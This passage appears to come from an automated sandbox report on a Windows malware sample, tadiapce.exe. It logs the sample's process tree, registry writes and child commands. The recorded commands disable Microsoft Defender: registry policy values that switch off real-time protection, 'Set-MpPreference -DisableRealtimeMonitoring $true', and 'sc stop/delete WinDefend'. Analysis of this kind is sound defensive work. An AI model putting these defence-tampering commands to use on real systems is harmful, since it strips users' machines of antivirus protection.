Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Filename - process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 2048 True 1
Fn
User (11)
»
Operation Additional Information Success Count Logfile
Lookup Privilege privilege = SeDebugPrivilege, luid = 20 True 1
Fn
Get Username user_name_out = 2XC7u663GxWc True 10
Fn
System (6)
»
Operation Additional Information Success Count Logfile
Get Info type = Operating System True 4
Fn
Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Get Info type = Hardware Information True 1
Fn
Environment (125)
»
Operation Additional Information Success Count Logfile
Get Environment String name = MshEnableTrace False 116
Fn
Get Environment String name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Get Environment String name = HOMEDRIVE, result_out = C: True 1
Fn
Get Environment String name = HOMEPATH, result_out = \Users\2XC7u663GxWc True 1
Fn
Get Environment String name = HomeDrive, result_out = C: True 1
Fn
Get Environment String name = HomePath, result_out = \Users\2XC7u663GxWc True 1
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Get Environment String name = PATH True 1
Fn
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Set Environment String name = PSMODULEPATH, value = C:\Users\2XC7u663GxWc\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Process #13: sc.exe
9 0
»
Information Value
ID #13
File Name c:\windows\system32\sc.exe
Command Line sc delete WinDefend
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:46, Reason: Child Process
Unmonitor End Time: 00:00:47, Reason: Self Terminated
Monitor Duration 00:00:00
OS Process Information
»
Information Value
PID 0xf14
Parent PID 0xedc (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x F18
0x F1C
Host Behavior
File (3)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Write STD_OUTPUT_HANDLE size = 51 True 1
Fn
Data
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\sc.exe base_address = 0xd00000 True 1
Fn
Service (2)
»
Operation Additional Information Success Count Logfile
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 1627-02-24 06:58:23 (UTC) True 1
Fn
Get Time type = Ticks, time = 10897605 True 1
Fn
Get Time type = Performance Ctr, time = 12065838177 True 1
Fn
Process #14: dllhost.exe
0 0
»
Information Value
ID #14
File Name c:\windows\system32\dllhost.exe
Command Line C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:53, Reason: RPC Server
Unmonitor End Time: 00:01:01, Reason: Self Terminated
Monitor Duration 00:00:08
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xf84
Parent PID 0x250 (c:\windows\system32\svchost.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x FA0
0x F9C
0x F98
0x F94
0x F90
0x F8C
0x F88
0x FA4
0x FA8
Process #15: tadiapce.exe
1110 0
»
Information Value
ID #15
File Name c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe
Command Line "C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\tadiapce.exe"
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:53, Reason: Child Process
Unmonitor End Time: 00:01:14, Reason: Self Terminated
Monitor Duration 00:00:20
OS Process Information
»
Information Value
PID 0xfac
Parent PID 0xf84 (c:\windows\system32\dllhost.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x FB0
0x FB4
0x FB8
0x FBC
0x FC0
0x FCC
0x FE0
Host Behavior
COM (3)
»
Operation Class Interface Additional Information Success Count Logfile
Create TaskScheduler ITaskService cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Execute TaskScheduler ITaskService method_name = Connect True 1
Fn
Execute TaskScheduler ITaskService method_name = GetFolder, new_interface = ITaskFolder True 1
Fn
File (6)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_ERROR_HANDLE type = file_type False 3
Fn
Open STD_INPUT_HANDLE - True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Open STD_ERROR_HANDLE - True 1
Fn
Registry (9)
»
Operation Key Additional Information Success Count Logfile
Create Key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender - True 1
Fn
Create Key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection - False 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender value_name = DisableAntiSpyware, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value_name = DisableBehaviorMonitoring, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value_name = DisableOnAccessProtection, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value_name = DisableOnRealtimeEnable, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Write Value HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value_name = DisableIOAVProtection, data = 1, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Process (4)
»
Operation Process Additional Information Success Count Logfile
Create cmd show_window = SW_HIDE True 1
Fn
Create cmd show_window = SW_HIDE True 1
Fn
Create cmd show_window = SW_HIDE True 1
Fn
Get Info c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe type = PROCESS_BASIC_INFORMATION True 1
Fn
Module (52)
»
Operation Module Additional Information Success Count Logfile
Load Crypt32.dll base_address = 0x75610000 True 4
Fn
Load kernel32.dll base_address = 0x76b10000 True 2
Fn
Load advapi32.dll base_address = 0x774c0000 True 2
Fn
Load shell32.dll base_address = 0x75bb0000 True 1
Fn
Load ntdll.dll base_address = 0x77330000 True 1
Fn
Load KERNEL32.dll base_address = 0x0 True 1
Fn
Load SHLWAPI.dll base_address = 0x0 True 1
Fn
Load CRYPT32.dll base_address = 0x0 True 1
Fn
Load bcrypt.dll base_address = 0x0 True 1
Fn
Load USER32.dll base_address = 0x0 True 1
Fn
Load WINHTTP.dll base_address = 0x0 True 1
Fn
Load WS2_32.dll base_address = 0x0 True 1
Fn
Load OLEAUT32.dll base_address = 0x0 True 1
Fn
Load USERENV.dll base_address = 0x0 True 1
Fn
Load ncrypt.dll base_address = 0x0 True 1
Fn
Load ADVAPI32.dll base_address = 0x0 True 1
Fn
Load IPHLPAPI.DLL base_address = 0x0 True 1
Fn
Load SHELL32.dll base_address = 0x0 True 1
Fn
Get Handle c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe base_address = 0x400000 True 5
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 1
Fn
Get Filename - process_name = c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe, file_name_orig = C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\tadiapce.exe, size = 255 True 1
Fn
Get Filename KERNEL32.dll process_name = c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe, file_name_orig = C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\tadiapce.exe, size = 260 True 1
Fn
Get Filename SHELL32.dll process_name = c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe, file_name_orig = C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\tadiapce.exe, size = 512 True 1
Fn
Get Filename SHELL32.dll process_name = c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe, file_name_orig = C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\tadiapce.exe, size = 260 True 1
Fn
Get Address c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe function = ___CPPdebugHook, address_out = 0x40e13c True 2
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcAddress, address_out = 0x76b633d3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Borland32, address_out = 0x0 False 1
Fn
Get Address c:\windows\system32\crypt32.dll function = CryptStringToBinaryA, address_out = 0x75645d77 True 4
Fn
Get Address c:\windows\system32\kernel32.dll function = Wow64EnableWow64FsRedirection, address_out = 0x76b98bc9 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegCloseKey, address_out = 0x774d469d True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegCreateKeyW, address_out = 0x774d1514 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegOpenKeyExW, address_out = 0x774d468d True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = RegSetValueExW, address_out = 0x774d14d6 True 1
Fn
Get Address c:\windows\system32\shell32.dll function = ShellExecuteA, address_out = 0x75df7078 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptAcquireContextA, address_out = 0x774c91dd True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptImportKey, address_out = 0x774cc532 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = CryptEncrypt, address_out = 0x774e779b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = VirtualAlloc, address_out = 0x76b62fb6 True 1
Fn
Get Address c:\windows\system32\ntdll.dll function = memcpy, address_out = 0x77364cc0 True 1
Fn
Service (6)
»
Operation Additional Information Success Count Logfile
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 3
Fn
Window (1)
»
Operation Window Name Additional Information Success Count Logfile
Create Squirrel Shootout by Brenton Andrew Saunders class_name = Squirrel Shootout by Brenton Andrew Saunders, wndproc_parameter = 0 True 1
Fn
Keyboard (184)
»
Operation Additional Information Success Count Logfile
Read virtual_key_code = VK_NUMLOCK, result_out = 1 True 56
Fn
Read virtual_key_code = VK_LEFT, result_out = 0 True 16
Fn
Read virtual_key_code = VK_RIGHT, result_out = 0 True 16
Fn
Read virtual_key_code = VK_SPACE, result_out = 0 True 16
Fn
Read virtual_key_code = VK_RETURN, result_out = 0 True 16
Fn
Read virtual_key_code = VK_NUMPAD4, result_out = 0 True 16
Fn
Read virtual_key_code = VK_NUMPAD6, result_out = 0 True 16
Fn
Read virtual_key_code = VK_ADD, result_out = 0 True 16
Fn
Read virtual_key_code = VK_SUBTRACT, result_out = 0 True 16
Fn
System (835)
»
Operation Additional Information Success Count Logfile
Sleep duration = 1 milliseconds (0.001 seconds) True 578
Fn
Sleep duration = 50 milliseconds (0.050 seconds) True 1
Fn
Sleep duration = 3 milliseconds (0.003 seconds) True 1
Fn
Get Time type = Ticks, time = 10904204 True 249
Fn
Get Time type = Local Time, time = 2019-05-14 15:31:23 (Local Time) True 1
Fn
Get Info type = Operating System True 1
Fn
Get Info type = System Directory, result_out = C:\Windows\system32 True 1
Fn
Get Info type = Hardware Information True 1
Fn
Get Info type = Windows Directory, result_out = C:\Windows True 1
Fn
Get Info type = Operating System True 1
Fn
Mutex (1)
»
Operation Additional Information Success Count Logfile
Create mutex_name = Global\C850A606981932960 True 1
Fn
Environment (1)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 1
Fn
Data
Process #16: cmd.exe
60 0
»
Information Value
ID #16
File Name c:\windows\system32\cmd.exe
Command Line "C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:54, Reason: Child Process
Unmonitor End Time: 00:01:06, Reason: Self Terminated
Monitor Duration 00:00:11
OS Process Information
»
Information Value
PID 0xfc4
Parent PID 0xfac (c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x FC8
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 104, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe os_pid = 0x81c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a830000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\System32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 1627-02-24 06:58:31 (UTC) True 1
Fn
Get Time type = Ticks, time = 10905281 True 1
Fn
Get Time type = Performance Ctr, time = 12932478875 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000001 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #17: cmd.exe
60 0
»
Information Value
ID #17
File Name c:\windows\system32\cmd.exe
Command Line "C:\Windows\System32\cmd.exe" /c sc stop WinDefend
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:54, Reason: Child Process
Unmonitor End Time: 00:00:57, Reason: Self Terminated
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xfd8
Parent PID 0xfac (c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x FDC
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\sc.exe os_pid = 0x83c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a830000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\System32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 1627-02-24 06:58:31 (UTC) True 1
Fn
Get Time type = Ticks, time = 10905343 True 1
Fn
Get Time type = Performance Ctr, time = 12937850504 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #18: cmd.exe
60 0
»
Information Value
ID #18
File Name c:\windows\system32\cmd.exe
Command Line "C:\Windows\System32\cmd.exe" /c sc delete WinDefend
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:55, Reason: Child Process
Unmonitor End Time: 00:00:57, Reason: Self Terminated
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xffc
Parent PID 0xfac (c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 818
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
